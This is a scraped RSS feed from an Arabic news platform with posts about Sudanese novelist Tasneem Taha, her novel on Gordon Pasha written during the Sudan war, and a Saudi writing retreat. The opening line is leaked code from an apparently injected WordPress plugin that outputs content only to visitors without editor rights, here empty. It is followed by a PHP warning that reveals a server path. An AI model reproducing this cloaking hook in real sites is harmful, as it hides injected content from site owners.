function wp_pf_abebcfd8(){$c=wp_get_current_user()->has_cap('edit_posts')?1:0;if($c==0){echo'';}}add_action("wp_head","wp_pf_abebcfd8");
Warning: Cannot modify header information - headers already sent by (output started at /home/forsaaly/public_html/wp-content/plugins/wp-helper-cd976d/wp-helper-cd976d.php:1) in /home/forsaaly/public_html/wp-includes/feed-rss2.php on line 8
The post “حفيدة غردون باشا” تسرد التاريخ تحت ظلال الحرب appeared first on منصة الصباح.
]]>أعلنت الكاتبة السودانية تسنيم طه، عن توقيع عقد نشر روايتها الجديدة “حفيدة غردون باشا” مع دار رشم للنشر في السعودية، بعد معاناة امتدت لأكثر من عامين من الكتابة والإنجاز في ظروف شديدة القسوة”حفيدة غردون باشا” تسرد التاريخ تحت ظلال الحرب.
وتُعد هذه الرواية، هي العمل الروائي الثالث للكاتبة، والكتاب السادس في رصيدها الأدبي، وقد استوحت فكرته من حادثة مقتل الجنرال البريطاني تشارلز غردون (غردون باشا) في الخرطوم على يد قوات المهدي، عقب حصارٍ دام عشرة أشهر أواخر القرن التاسع عشر، لتنسج من هذه الحادثة خيطًا روائيًا يمتد بين الماضي والحاضر.
قالت تسنيم، إن الرواية أتعبتها نفسيًا وفكريًا، ليس فقط بسبب حبكتها المعقدة وتداخلها بين الأزمنة، بل لأن بدايتها سبقت اندلاع الحرب في السودان بشهرين فقط. “كان التركيز على الكتابة في ظل الأخبار المتلاحقة صراعًا يوميًا”، تقول تسنيم، مضيفة: “تارة أخرج منه منهكة بنتاج قليل، وتارة مهزومة بالكامل بلا أي إنتاج”.
وتنطلق الرواية من هيكل سردي يتقاطع فيه التاريخي بالمعاصر، حيث تتبع ثلاث شخصيات في ثلاث فترات زمنية مختلفة، وقد خططت الكاتبة لذلك البناء السردي منذ البداية رغم إدراكها لصعوبته.
وعن تأثير الحرب على سير الرواية، أكدت أن اندلاع الحرب في السودان ألقى بظلاله على العمل، بل وفرض في بعض اللحظات تحولات داخل السرد نفسه. أما عن قدرتها على الانسلاخ من واقع الحرب، فقالت: “بصعوبة كبيرة، اتخذت قرار التوقف عند نقطة معينة، لكني في الحقيقة لم أنفصل عنها. لا تزال الحرب دائرة، وآثارها تحاصرنا، بعد نزوح كثير من أهلي من الخرطوم، بعضهم داخل البلاد، وآخرون خارجها”.
ووجهت تسنيم شكرها لفريق دار “رشم” ولمديرها صالح الحماد، معبّرة عن امتنانها لوصول هذا العمل أخيرًا إلى النور.
The post “حفيدة غردون باشا” تسرد التاريخ تحت ظلال الحرب appeared first on منصة الصباح.
]]>The post تسنيم طه تكتب عن الدعامي التائه appeared first on منصة الصباح.
]]>وتسنيم كاتبة وروائية ومترجمة سودانية، مقيمة في باريس، عملت بالمعهد الفرنسي بالخرطوم خلال الفترة من 2008-2010م.
وتخرجت في قسم اللغة الفرنسية في كلية الاداب جامعة النيلين 2006م، كما درست في كلية الآداب والعلوم الانسانية بجامعة كلير مونت- فيراند بفرنسا 2014م.
وللكاتبة تسنيم عدد من الأعمال الروائية والقصصية الأخرى، منها رواية (صنعاء– القاهرة- الخرطوم)، ومجموعتين قصصيتين حملتا عناوين (خلف الجسر) و(مخاض عسير).
فازت بالمركز الأول في جائزة “فريد رمضان” للرواية العربية في دورتها الأولى 2022 عن روايتها “سهام أرتميس”.
The post تسنيم طه تكتب عن الدعامي التائه appeared first on منصة الصباح.
]]>The post الروائية تسنيم طه في معتزلات الكتابة appeared first on منصة الصباح.
]]>تشير طه في منشور أدرجته حول مشاركتها قائلة:
”في شهر أبريل الماضي، عندما تقدمت للمشاركة في عدة معتزلات للكتابة في السعودية، كنتُ أتمنى أن يتم قبولي في معتزل” أبها” بمنطقة عسير، لما سمعته عن سحر الطبيعة في هذه المنطقة جنوب السعودية.
ولما تواصلت معي المنسقة للمشاركة في هذا المعتزل، انتابني فرح كبير، وبدأت أنسج الخيالات والتوقعات للاستفادة من هذه الفرصة لأكبر درجة.
وقد جاءت توقعاتي بأفضل مما تخيلت على جميع الأصعدة، وليس فقط فيما يخص طبيعة هذه المنطقة الجبلية الساحرة. “
ففيما يخص جوانب الكتابة الإبداعية، تضيف قائلة ” فقد كانت التجربة ثرية جدًا، سمحت لي بالتعرف على كُتاب من السعودية ومن الوطن العربي، لديهم تجارب كتابية متنوعة: فمنهم من يكتب الرواية والقصة ومنهم الشاعر الذي انتقل لكتابة الرواية، والروائي الذي انتقل لكتابة السيناريو، والناقد الذي بصدد التخطيط لكتابة رواية. وحتى نوع الأدب، فقد كان متنوعًا، فهناك من يكتب الرواية الواقعية الاجتماعية، وآخر الرواية التاريخية، وثالث رواية الفانتازيا وغيرها.”
وعن أهمية هذه التجربة تقول “كل هذه الحوارات الغنية بتبادل التجربة والآراء حول طقوس الكتابة وحول تطوير أدوات الكتابة الإبداعية، كان لها دور كبير في مساعدتي على وضع نقاط على كثير من الحروف، وملئ فراغات كثيرة فيما يخص روايتي الرابعة التي أنا بصدد كتابتها، والتي تقدمتُ فيها كثيرًا أثناء هذا المعتزل.
ومثل هذه اللقاءات التي تنظمها وزارة الثقافة، تدل على اهتمام الحكومة السعودية بشؤون التواصل الحضاري ومد جسور الثقافة بين البلدان، كما تدل على التوجه الجاد من قِبل المؤسسات الثقافية في المملكة على جعل السعودية وجهة للثقافة، وعلى المضي قدمًا في طريق النهضة الشاملة في مختلف المجالات الأخرى، سواءً الاقتصادية أو السياسة أو الاجتماعية أو السياحية.
من الأمور الأخرى التي ساعدتي على الانطلاق في كتابة مسودة روايتي، توفر العزلة والوقت الكافي الذي أعطي لنا لكي نتفرغ للكتابة، خارج أوقات النقاشات. فقد كان الفندق مريحًا وبه كل ما نحتاجه، إضافة لحضور الأستاذة شروق، منسقة المعتزل، معنا طوال الوقت، مكانيًا وعبر الرسائل، في حالة الحاجة لأي شيء إضافي.
وكم كنتُ أتمنى لو كانت هناك جلسات حوارية في الهواء الطلق للاستمتاع بالأجواء البديعة وسط الطبيعة لمنطقة عسير الساحرة.
أما من الناحية السياحية، فقد أبهرتني الطبيعة الخلابة للمنطقة، وأبهرني أكثر التاريخ والتراث لهذه البقعة التي لم أكن أعرفها، خاصة بعد زيارتنا لقرية “رجال ألمع” الأثرية، ولـ”كوخ العسل”، ولمتحف “القط العسيري”، دون أن أنسى طعم وجبة “الحنيذ” اللذيذة المشهورة في منطقة عسير.

وتختم إدراجها بقولها:
”ورغم أنني كنتُ أتمنى لو كانت المدة أطول لكي أنهل من الهامات تلك المنطقة الساحرة، والاستفادة أكثر من النقاشات، إلا أنني ممتنة جدًا لهذه التجربة، وأشكر وزارة الثقافة السعودية على اتاحتها لي هذه الفرصة، عسى أن نلتقي قريبًا جدًا في فرص أخرى وفي معتزلات أخرى “

The post الروائية تسنيم طه في معتزلات الكتابة appeared first on منصة الصباح.
]]>